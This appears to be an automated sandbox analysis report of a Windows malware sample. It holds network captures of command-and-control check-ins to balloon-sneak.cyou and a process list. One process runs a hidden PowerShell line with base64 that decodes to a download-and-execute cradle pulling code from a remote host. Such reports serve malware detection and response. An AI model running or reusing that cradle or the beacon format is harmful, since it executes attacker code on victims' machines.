2024-11-29 14:47:45 UTC	1025	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 14:47:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=me0lf1rudain4l036oi2lr57bc; expires=Tue, 25-Mar-2025 08:34:21 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=xl4tAuq41MrdacuSCXVHrJrMTpFJW1YyL%2BSLEHQTFhoBixLiH7NIw3zDWP4elc0uZRE2fKBhd%2B%2BhMExusW4r1F1pHqR1GHCTwrluwwzOXZ2%2BmLqqi5YcV9q6RBrZM%2B6ExjVF6uQ%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ea364f128ee727a-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1838&min_rtt=1838&rtt_var=919&sent=321&recv=616&lost=0&retrans=1&sent_bytes=4230&recv_bytes=591445&delivery_rate=78324&cwnd=217&unsent_bytes=0&cid=475b7217c228e63b&ts=4755&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	49983	172.67.170.85	443	6664	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-29 14:47:46 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 84 Host: balloon-sneak.cyou
2024-11-29 14:47:46 UTC	84	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4d 65 48 64 79 34 2d 2d 70 6c 38 76 73 30 37 26 6a 3d 26 68 77 69 64 3d 37 34 37 33 46 43 33 39 36 35 44 41 39 33 33 36 31 36 39 34 32 38 46 39 39 44 46 42 34 37 44 39 Data Ascii: act=get_message&ver=4.0&lid=MeHdy4--pl8vs07&j=&hwid=7473FC3965DA9336169428F99DFB47D9
2024-11-29 14:47:49 UTC	1020	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 14:47:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=bet9pu548acf9hpl3jk0te5jjm; expires=Tue, 25-Mar-2025 08:34:26 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=9pTwLO9rtPiSMzluP1a8AJLh6Frivrc2weiGcV%2FV9a%2FlUfszv%2FZFkiMTGkBbzZBhYsEJtOArEYHegyLxvUOo10ETopWQhhTy3YWeHo%2BtXY5TvIseKxzLTahii4iE5%2BSIb1aUSz4%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ea365181e07728a-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1836&min_rtt=1823&rtt_var=710&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2844&recv_bytes=986&delivery_rate=1512169&cwnd=224&unsent_bytes=0&cid=de22f887a6017311&ts=2651&x=0"
2024-11-29 14:47:49 UTC	126	IN	Data Raw: 37 38 0d 0a 75 6d 79 62 73 4a 47 6e 5a 48 4b 7a 6d 4c 51 4f 57 6f 4c 47 2f 63 41 2f 56 34 6c 76 6d 33 65 54 2b 69 71 33 7a 75 71 47 34 33 50 68 46 37 6e 46 73 35 31 47 47 73 66 73 78 48 31 67 33 75 6d 68 37 30 30 79 35 78 76 70 44 72 32 5a 52 65 76 68 6a 4f 4f 4d 42 74 38 62 2f 6f 58 4e 69 42 59 54 78 4c 71 59 4c 44 7a 32 35 4d 66 79 45 33 58 73 54 61 46 48 37 71 63 3d 0d 0a Data Ascii: 78umybsJGnZHKzmLQOWoLG/cA/V4lvm3eT+iq3zuqG43PhF7nFs51GGsfsxH1g3umh700y5xvpDr2ZRevhjOOMBt8b/oXNiBYTxLqYLDz25MfyE3XsTaFH7qc=
2024-11-29 14:47:49 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.5	49984	104.26.3.16	443	6664	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-29 14:47:51 UTC	196	OUT	GET /feouewe5/raw HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: rentry.co
2024-11-29 14:47:51 UTC	1279	IN	HTTP/1.1 403 Forbidden Date: Fri, 29 Nov 2024 14:47:51 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 8793 Connection: close Accept-CH: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Full-Version, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA Critical-CH: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Full-Version, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA Cross-Origin-Embedder-Policy: require-corp Cross-Origin-Opener-Policy: same-origin Cross-Origin-Resource-Policy: same-origin Origin-Agent-Cluster: ?1 Permissions-Policy: accelerometer=(),autoplay=(),browsing-topics=(),camera=(),clipboard-read=(),clipboard-write=(),geolocation=(),gyroscope=(),hid=(),interest-cohort=(),magnetometer=(),microphone=(),payment=(),publickey-credentials-get=(),screen-wake-lock=(),serial=(),sync-xhr=(),usb=() Referrer-Policy: same-origin X-Content-Options: nosniff X-Frame-Options: SAMEORIGIN cf-mitigated: challenge
2024-11-29 14:47:51 UTC	915	IN	Data Raw: 63 66 2d 63 68 6c 2d 6f 75 74 3a 20 33 58 33 46 6c 48 46 70 39 65 57 42 33 33 4c 34 32 71 56 4a 6e 2f 70 30 79 69 48 6d 58 61 56 61 50 67 57 74 52 4f 76 52 75 34 32 43 36 78 51 77 78 6a 43 41 34 33 75 56 6e 51 65 58 49 4e 65 49 52 73 54 2f 59 43 7a 70 73 41 61 6c 63 5a 70 6c 6f 63 48 34 70 54 47 75 64 49 44 65 57 78 2b 54 4d 4c 37 55 47 31 56 47 71 6c 71 65 4a 50 45 66 35 43 7a 75 63 68 72 37 62 63 70 79 74 38 4c 58 50 6e 71 33 34 71 44 5a 55 49 72 36 36 51 55 74 58 54 6d 2b 5a 67 3d 3d 24 6a 64 5a 38 69 4c 6d 4c 46 2b 6c 76 73 6b 70 65 4f 50 45 46 48 51 3d 3d 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 70 72 69 76 61 74 65 2c 20 6d 61 78 2d 61 67 65 3d 30 2c 20 6e 6f 2d 73 74 6f 72 65 2c 20 6e 6f 2d 63 61 63 68 65 2c 20 6d 75 73 74 2d 72 65 76 61 Data Ascii: cf-chl-out: 3X3FlHFp9eWB33L42qVJn/p0yiHmXaVaPgWtROvRu42C6xQwxjCA43uVnQeXINeIRsT/YCzpsAalcZplocH4pTGudIDeWx+TML7UG1VGqlqeJPEf5Czuchr7bcpyt8LXPnq34qDZUIr66QUtXTm+Zg==$jdZ8iLmLF+lvskpeOPEFHQ==Cache-Control: private, max-age=0, no-store, no-cache, must-reva
2024-11-29 14:47:51 UTC	544	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 4a 75 73 74 20 61 20 6d 6f 6d 65 6e 74 2e 2e 2e 3c 2f 74 69 74 6c 65 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 6e 6f 66 6f 6c 6c 6f 77 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 Data Ascii: <!DOCTYPE html><html lang="en-US"><head><title>Just a moment...</title><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=Edge"><meta name="robots" content="noindex,nofollow"><meta name="viewp
2024-11-29 14:47:51 UTC	1369	IN	Data Raw: 72 20 45 6d 6f 6a 69 2c 53 65 67 6f 65 20 55 49 20 45 6d 6f 6a 69 2c 53 65 67 6f 65 20 55 49 20 53 79 6d 62 6f 6c 2c 4e 6f 74 6f 20 43 6f 6c 6f 72 20 45 6d 6f 6a 69 7d 62 6f 64 79 7b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 63 6f 6c 75 6d 6e 3b 68 65 69 67 68 74 3a 31 30 30 76 68 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 76 68 7d 2e 6d 61 69 6e 2d 63 6f 6e 74 65 6e 74 7b 6d 61 72 67 69 6e 3a 38 72 65 6d 20 61 75 74 6f 3b 6d 61 78 2d 77 69 64 74 68 3a 36 30 72 65 6d 3b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 31 2e 35 72 65 6d 7d 40 6d 65 64 69 61 20 28 77 69 64 74 68 20 3c 3d 20 37 32 30 70 78 29 7b 2e 6d 61 69 6e 2d 63 6f 6e 74 65 6e 74 7b 6d 61 72 67 69 6e 2d 74 6f 70 3a 34 72 65 6d 7d 7d 2e 68 32 7b 66 6f 6e Data Ascii: r Emoji,Segoe UI Emoji,Segoe UI Symbol,Noto Color Emoji}body{display:flex;flex-direction:column;height:100vh;min-height:100vh}.main-content{margin:8rem auto;max-width:60rem;padding-left:1.5rem}@media (width <= 720px){.main-content{margin-top:4rem}}.h2{fon
2024-11-29 14:47:51 UTC	1369	IN	Data Raw: 63 6f 6f 6b 69 65 73 20 74 6f 20 63 6f 6e 74 69 6e 75 65 3c 2f 73 70 61 6e 3e 3c 2f 64 69 76 3e 3c 2f 6e 6f 73 63 72 69 70 74 3e 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 73 63 72 69 70 74 3e 28 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 3d 7b 63 76 49 64 3a 20 27 33 27 2c 63 5a 6f 6e 65 3a 20 22 72 65 6e 74 72 79 2e 63 6f 22 2c 63 54 79 70 65 3a 20 27 6d 61 6e 61 67 65 64 27 2c 63 52 61 79 3a 20 27 38 65 61 33 36 35 33 32 30 61 65 35 34 34 30 32 27 2c 63 48 3a 20 27 44 4e 53 54 6e 6c 55 68 54 48 6d 32 36 37 34 7a 6a 4c 77 42 41 6a 76 56 66 51 6c 5a 68 48 4a 43 4c 55 58 51 56 43 49 39 43 47 45 2d 31 37 33 32 38 39 31 36 37 31 2d 31 2e 32 2e 31 2e 31 2d 67 43 71 32 2e 38 78 44 46 79 54 58 2e 4b 6b 73 66 4b 41 45 4d Data Ascii: cookies to continue</span></div></noscript></div></div><script>(function(){window._cf_chl_opt={cvId: '3',cZone: "rentry.co",cType: 'managed',cRay: '8ea365320ae54402',cH: 'DNSTnlUhTHm2674zjLwBAjvVfQlZhHJCLUXQVCI9CGE-1732891671-1.2.1.1-gCq2.8xDFyTX.KksfKAEM
2024-11-29 14:47:51 UTC	1369	IN	Data Raw: 43 50 35 54 44 5f 4a 79 35 51 44 52 42 51 65 33 4f 56 72 71 71 2e 30 71 39 67 75 76 56 6c 32 71 34 41 38 4e 58 55 69 4d 33 4a 31 48 44 6a 2e 61 45 79 71 66 63 63 6b 6e 4b 74 55 33 36 4b 79 51 6b 4b 36 47 33 2e 31 56 70 6c 4e 6f 6b 70 38 6f 53 49 73 4a 45 38 33 62 44 48 51 59 6e 6b 4d 79 4e 58 63 4f 43 52 4e 48 51 62 58 67 37 42 72 4d 65 53 33 72 6d 78 49 57 31 73 76 62 57 55 31 65 46 36 4e 49 6d 53 56 48 2e 52 2e 53 56 78 44 2e 73 30 48 4d 5a 54 48 55 4f 77 45 5a 34 6d 64 4a 4a 4e 51 74 45 43 72 6f 70 61 39 78 55 51 54 41 34 6c 77 72 6f 7a 4f 33 64 6a 66 76 45 62 62 49 67 62 62 6f 73 72 50 35 4f 67 4e 36 48 70 7a 77 70 37 45 4e 4f 75 30 37 6d 71 58 7a 63 6c 52 5a 74 6d 32 68 31 73 66 43 45 63 57 6b 78 45 33 6f 71 50 42 54 79 63 55 57 56 54 64 78 56 64 6d Data Ascii: CP5TD_Jy5QDRBQe3OVrqq.0q9guvVl2q4A8NXUiM3J1HDj.aEyqfccknKtU36KyQkK6G3.1VplNokp8oSIsJE83bDHQYnkMyNXcOCRNHQbXg7BrMeS3rmxIW1svbWU1eF6NImSVH.R.SVxD.s0HMZTHUOwEZ4mdJJNQtECropa9xUQTA4lwrozO3djfvEbbIgbbosrP5OgN6Hpzwp7ENOu07mqXzclRZtm2h1sfCEcWkxE3oqPBTycUWVTdxVdm
2024-11-29 14:47:51 UTC	1369	IN	Data Raw: 48 5f 6f 67 34 32 33 36 76 42 76 48 51 61 66 57 5f 44 6e 37 41 5a 57 54 4b 4f 66 4b 32 74 50 75 6c 76 75 4a 6a 61 51 59 5a 4b 65 65 6a 51 37 33 31 33 72 4b 4f 62 54 41 6f 75 67 30 64 4b 75 56 77 47 37 73 71 52 77 34 78 73 70 42 55 53 30 42 56 69 44 41 6c 54 55 63 65 77 6e 51 77 61 47 35 56 45 32 35 46 6e 52 6b 51 64 6d 4c 6d 6a 37 65 74 6d 5a 5f 66 37 78 34 73 74 43 72 5f 78 42 34 66 57 63 56 49 6b 59 35 38 6b 4c 64 55 49 47 4b 37 64 71 69 63 4a 6c 46 69 5f 76 64 47 58 36 65 61 32 75 55 6f 4f 58 34 56 6b 5f 74 67 68 77 74 46 43 47 63 54 34 79 54 49 62 64 39 4e 79 4c 77 2e 52 6c 48 46 49 48 74 41 54 4e 41 4e 4f 45 66 31 70 69 38 46 31 51 6a 69 4c 55 79 31 42 71 4f 71 52 52 41 42 79 5f 44 4d 6a 2e 35 68 6b 41 35 56 6b 45 57 53 39 73 33 74 4e 6f 75 62 7a 63 Data Ascii: H_og4236vBvHQafW_Dn7AZWTKOfK2tPulvuJjaQYZKeejQ7313rKObTAoug0dKuVwG7sqRw4xspBUS0BViDAlTUcewnQwaG5VE25FnRkQdmLmj7etmZ_f7x4stCr_xB4fWcVIkY58kLdUIGK7dqicJlFi_vdGX6ea2uUoOX4Vk_tghwtFCGcT4yTIbd9NyLw.RlHFIHtATNANOEf1pi8F1QjiLUy1BqOqRRABy_DMj.5hkA5VkEWS9s3tNoubzc
2024-11-29 14:47:51 UTC	1369	IN	Data Raw: 30 51 77 51 4b 31 66 74 4a 7a 4f 55 6c 66 31 31 74 73 45 74 65 6c 4c 4e 6c 57 77 73 42 37 6c 41 6a 44 35 74 58 7a 78 6e 6a 49 57 50 31 34 4e 42 62 36 72 6a 74 62 7a 2e 55 59 45 34 74 67 5f 5a 63 4f 66 74 77 49 52 57 32 6d 4f 4e 5a 37 62 41 58 4a 69 35 2e 53 4c 38 33 67 4f 56 35 4e 57 6a 71 42 4e 73 31 49 52 2e 37 38 67 4d 61 69 79 6d 6f 32 45 72 66 45 38 62 56 47 36 51 4a 56 63 63 30 6f 55 70 6f 77 7a 4e 4f 76 50 49 73 43 5a 72 39 58 51 38 7a 4b 65 6f 36 2e 5a 78 53 36 47 66 6a 61 61 77 4b 4e 6e 49 44 51 32 4e 79 42 35 44 31 51 36 2e 37 4b 6c 77 66 50 62 42 68 4f 48 66 32 76 71 67 57 37 39 59 6b 54 38 35 71 51 30 49 7a 57 6c 55 74 59 43 58 65 52 6a 30 43 34 5a 53 43 4d 31 6f 79 32 4b 45 31 37 62 75 6b 54 70 2e 50 57 57 6c 38 50 59 4f 79 65 4c 4b 7a 58 6a Data Ascii: 0QwQK1ftJzOUlf11tsEtelLNlWwsB7lAjD5tXzxnjIWP14NBb6rjtbz.UYE4tg_ZcOftwIRW2mONZ7bAXJi5.SL83gOV5NWjqBNs1IR.78gMaiymo2ErfE8bVG6QJVcc0oUpowzNOvPIsCZr9XQ8zKeo6.ZxS6GfjaawKNnIDQ2NyB5D1Q6.7KlwfPbBhOHf2vqgW79YkT85qQ0IzWlUtYCXeRj0C4ZSCM1oy2KE17bukTp.PWWl8PYOyeLKzXj
2024-11-29 14:47:51 UTC	1369	IN	Data Raw: 54 4f 54 6b 41 30 79 43 32 78 70 77 32 59 6d 38 77 32 65 4a 48 33 4b 66 4f 71 74 33 73 2e 44 70 47 6e 4d 36 48 6d 6d 56 72 43 34 50 63 49 51 78 77 38 6a 72 6e 76 36 2e 44 6e 6a 5a 61 63 31 34 5a 71 6a 58 35 75 34 49 63 45 46 79 71 50 51 6d 46 4f 64 73 5f 39 38 30 35 7a 43 33 38 64 74 39 45 36 32 70 73 37 6f 32 49 6f 71 74 37 59 61 6d 4f 32 6e 45 59 37 78 4f 39 7a 4f 75 73 71 52 35 41 6c 4b 5a 79 51 52 7a 31 79 43 4d 72 69 68 5f 58 4d 33 54 6b 58 78 51 65 48 6b 38 51 55 70 79 6a 4a 41 34 67 7a 42 5f 36 37 67 69 36 54 43 74 38 73 57 69 39 6c 30 75 77 4d 59 6f 34 36 4b 4c 45 49 53 64 67 54 46 4c 76 70 59 65 47 62 51 4c 6e 50 6f 36 50 52 41 4d 47 79 63 31 75 65 68 62 5a 6e 78 57 73 71 72 35 46 57 7a 75 71 6e 31 4c 38 45 2e 49 58 39 62 39 74 61 78 6f 73 68 4f Data Ascii: TOTkA0yC2xpw2Ym8w2eJH3KfOqt3s.DpGnM6HmmVrC4PcIQxw8jrnv6.DnjZac14ZqjX5u4IcEFyqPQmFOds_9805zC38dt9E62ps7o2Ioqt7YamO2nEY7xO9zOusqR5AlKZyQRz1yCMrih_XM3TkXxQeHk8QUpyjJA4gzB_67gi6TCt8sWi9l0uwMYo46KLEISdgTFLvpYeGbQLnPo6PRAMGyc1uehbZnxWsqr5FWzuqn1L8E.IX9b9taxoshO
2024-11-29 14:47:51 UTC	35	IN	Data Raw: 64 28 63 70 6f 29 3b 7d 28 29 29 3b 3c 2f 73 63 72 69 70 74 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: d(cpo);}());</script></body></html>

Target ID:	0
Start time:	09:45:00
Start date:	29/11/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\file.ps1"
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	09:45:01
Start date:	29/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	09:45:02
Start date:	29/11/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hIdDeN "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aWV4IChpd3IgJ2h0dHBzOi8vc2FuZGlzazIub3NzLWFwLW5vcnRoZWFzdC0yLmFsaXl1bmNzLmNvbS9iVUFtQ2F6Yy50eHQnIC1Vc2VCYXNpY1BhcnNpbmcpLkNvbnRlbnQ=')) \| iex"
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	09:46:28
Start date:	29/11/2024
Path:	C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe"
Imagebase:	0x400000
File size:	29'152 bytes
MD5 hash:	B6F6C3C38568EE26F1AC70411A822405
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 0%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	09:46:34
Start date:	29/11/2024
Path:	C:\Users\user\AppData\Roaming\Driver\BLZFBFHKHWJ\Setup.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\AppData\Roaming\Driver\BLZFBFHKHWJ\Setup.exe
Imagebase:	0x7ff70c250000
File size:	291'968 bytes
MD5 hash:	7FB44C5BCA4226D8AAB7398E836807A2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 0%, ReversingLabs
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	09:46:35
Start date:	29/11/2024
Path:	C:\Windows\SysWOW64\more.com
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\more.com
Imagebase:	0x6a0000
File size:	24'576 bytes
MD5 hash:	03805AE7E8CBC07840108F5C80CF4973
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	09:46:35
Start date:	29/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	09:46:49
Start date:	29/11/2024
Path:	C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe"
Imagebase:	0x400000
File size:	29'152 bytes
MD5 hash:	B6F6C3C38568EE26F1AC70411A822405
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	09:46:55
Start date:	29/11/2024
Path:	C:\Users\user\AppData\Roaming\Driver\BLZFBFHKHWJ\Setup.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\AppData\Roaming\Driver\BLZFBFHKHWJ\Setup.exe
Imagebase:	0x7ff7aee90000
File size:	291'968 bytes
MD5 hash:	7FB44C5BCA4226D8AAB7398E836807A2
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	09:46:55
Start date:	29/11/2024
Path:	C:\Windows\SysWOW64\more.com
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\more.com
Imagebase:	0x6a0000
File size:	24'576 bytes
MD5 hash:	03805AE7E8CBC07840108F5C80CF4973
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	09:46:55
Start date:	29/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	09:47:07
Start date:	29/11/2024
Path:	C:\Windows\SysWOW64\msiexec.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\msiexec.exe
Imagebase:	0xc70000
File size:	59'904 bytes
MD5 hash:	9D09DC1EDA745A5F87553048E57620CF
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	09:47:07
Start date:	29/11/2024
Path:	C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe"
Imagebase:	0x400000
File size:	29'152 bytes
MD5 hash:	B6F6C3C38568EE26F1AC70411A822405
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	09:47:51
Start date:	29/11/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	powershell -exec bypass -f "C:\Users\user\AppData\Local\Temp\KG0P09VQ32I3Y8PNKAK.ps1"
Imagebase:	0xf00000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	09:47:51
Start date:	29/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Function 00007FF848F433B5 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3306497789.00007FF848F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff848f40000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 582908582f657131c1f04ed76f34d09c60f6b2c2f8b724a61ceffa3ac25bcdd6
Instruction ID: 8501ce2366aa47fe50c32cae5305b62a305da60d827aaf0f190e9b8a75457062
Opcode Fuzzy Hash: 582908582f657131c1f04ed76f34d09c60f6b2c2f8b724a61ceffa3ac25bcdd6
Instruction Fuzzy Hash: 8B01447111CB0C4FD744EF0CE451AA5B7E0FB95364F10056EE58AC3695DB26E882CB45

Analysis Process: Setup.exePID: 7784, Parent PID: 1352COMMON

Execution Graph

Execution Coverage:	6.8%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	14.9%
Total number of Nodes:	329
Total number of Limit Nodes:	6

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 00401CB0 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 67
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32(00000001,?,004056A8,?,00401D78,?,00000000,004014CF,?,00000000), ref: 00401CE1
LoadLibraryA.KERNELBASE(00000000,?,004056A8,?,00401D78,?,00000000,004014CF,?,00000000), ref: 00401CEE
GetProcAddress.KERNEL32(00000000,00000000), ref: 00401D14
OutputDebugStringA.KERNEL32(undef symbol,?,004056A8,?,00401D78,?,00000000,004014CF,?,00000000), ref: 00401D33
__iob_func.MSVCR90 ref: 00401D41
fprintf.MSVCR90 ref: 00401D4B

Strings

undefined symbol %s -> exit(-1), xrefs: 00401D3C
undef symbol, xrefs: 00401D2E

Memory Dump Source

Source File: 00000006.00000002.2968910501.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2968866908.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
